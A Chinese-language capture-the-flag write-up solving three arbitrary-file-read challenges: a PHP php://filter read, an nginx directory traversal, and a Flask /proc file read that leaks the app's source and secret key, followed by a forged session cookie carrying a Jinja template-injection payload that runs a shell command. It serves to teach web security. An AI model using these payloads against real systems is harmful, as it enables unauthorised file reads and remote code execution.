afr-1

 打开题目链接

默认的传参数据为 ?p=hello

更改一下试试看  ?p=111  无回显

?p=flag  回显了  no no no

 想到了 php任意文件读取

?p=php://filter/read=convert.base64-encode/resource=flag

 回显出数据

 应该是base64  拿去解码

得到flag 

afr-2

打开题目链接

 查看源代码 

nginx配置问题导致存在目录穿越    访问它的前一个目录  img../

/img../flag  

得到flag  

afr-3

打开题目链接  (看似为XSS   ?)

传入个数据看看   打破最初的猜想

点击article 

 name参数是个点  利用这个name参数获取当前执行系统命令  读取系统文件 

补充(Linux系统上的/proc目录是一种文件系统  即proc文件系统  与其它常见的文件系统不同的是  /proc是一种伪文件系统(也即虚拟文件系统) 存储的是当前内核运行状态的一系列特殊文件  用户可以通过这些文件查看有关系统硬件及当前正在运行进程的信息  甚至可以通过更改其中某些文件来改变内核的运行状态
/proc/[pid]  当查看当前进程的时候可以用/proc/self代替
cmdline — 启动当前进程的完整命令  但僵尸进程目录中的此文件不包含任何信息
cwd — 指向当前进程运行目录的一个符号链接
environ — 当前进程的环境变量列表  彼此间用空字符(NULL)隔开  变量用大写字母表示  其值用小写字母表示)

任意文件读取漏洞    读取到结果  看到当前目录存在的两个文件  flag.py和key.py

白盒测试

<h1>Article Content:</h1> <br>#!/usr/bin/python
import os
from flask import ( Flask, render_template, request, url_for, redirect, session, render_template_string )
from flask_session import Session
 
app = Flask(__name__)
execfile('flag.py')
execfile('key.py')
 
FLAG = flag
app.secret_key = key
@app.route("/n1page", methods=["GET", "POST"])
def n1page():
    if request.method != "POST":
        return redirect(url_for("index"))
    n1code = request.form.get("n1code") or None
    if n1code is not None:
        n1code = n1code.replace(".", "").replace("_", "").replace("{","").replace("}","")
    if "n1code" not in session or session['n1code'] is None:
        session['n1code'] = n1code
    template = None
    if session['n1code'] is not None:
        template = '''<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div> ''' % session['n1code']
        session['n1code'] = None
    return render_template_string(template)
 
@app.route("/", methods=["GET"])
def index():
    return render_template("main.html")
@app.route('/article', methods=['GET'])
def article():
    error = 0
    if 'name' in request.args:
        page = request.args.get('name')
    else:
        page = 'article'
    if page.find('flag')>=0:
        page = 'notallowed.txt'
    try:
        template = open('/home/nu11111111l/articles/{}'.format(page)).read()
    except Exception as e:
        template = e
 
    return render_template('article.html', template=template)
 
if __name__ == "__main__":
    app.run(host='0.0.0.0', debug=False)

发现flag在flag.py   flask的appkey在key.py  但是此处任意文件读取漏洞被过滤了关键词flag

构造payload  先访问flag.py  无果

伪造session  先获取一下key

 再访问 key.py

 利用flask-session-manage 伪造session

./flask_session_cookie_manager3.py encode -s "Drmhze6EPcv0fN_81Bj-nA" -t "{'n1code': '{{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}'}"

.eJwdikEKgCAQAL8SXlYvQl2CviKxbGoRmCtZhxD_nnUbZqaI2Ft2XkyiFACNaAPljNjoOBnRDHPDfC-_961IZcb-k3vcr3_cAi8UWjLAGWadOPkowdLVrYE2nR5Q-vTkpKpV1BcrHygP.YD97iA.kUHfV05dXGFmHNS5bumL3yu4J2E

抓包  更换cookie session

 得到flag   n1book{afr_3_solved}

小结:

A: php任意文件读取

B: nginx配置之目录穿越 

C:/porc目录

D:flask-session

点赞(1) 打赏

评论列表 共有 0 条评论

暂无评论

微信小程序

微信扫一扫体验

立即
投稿

微信公众账号

微信扫一扫加关注

发表
评论
返回
顶部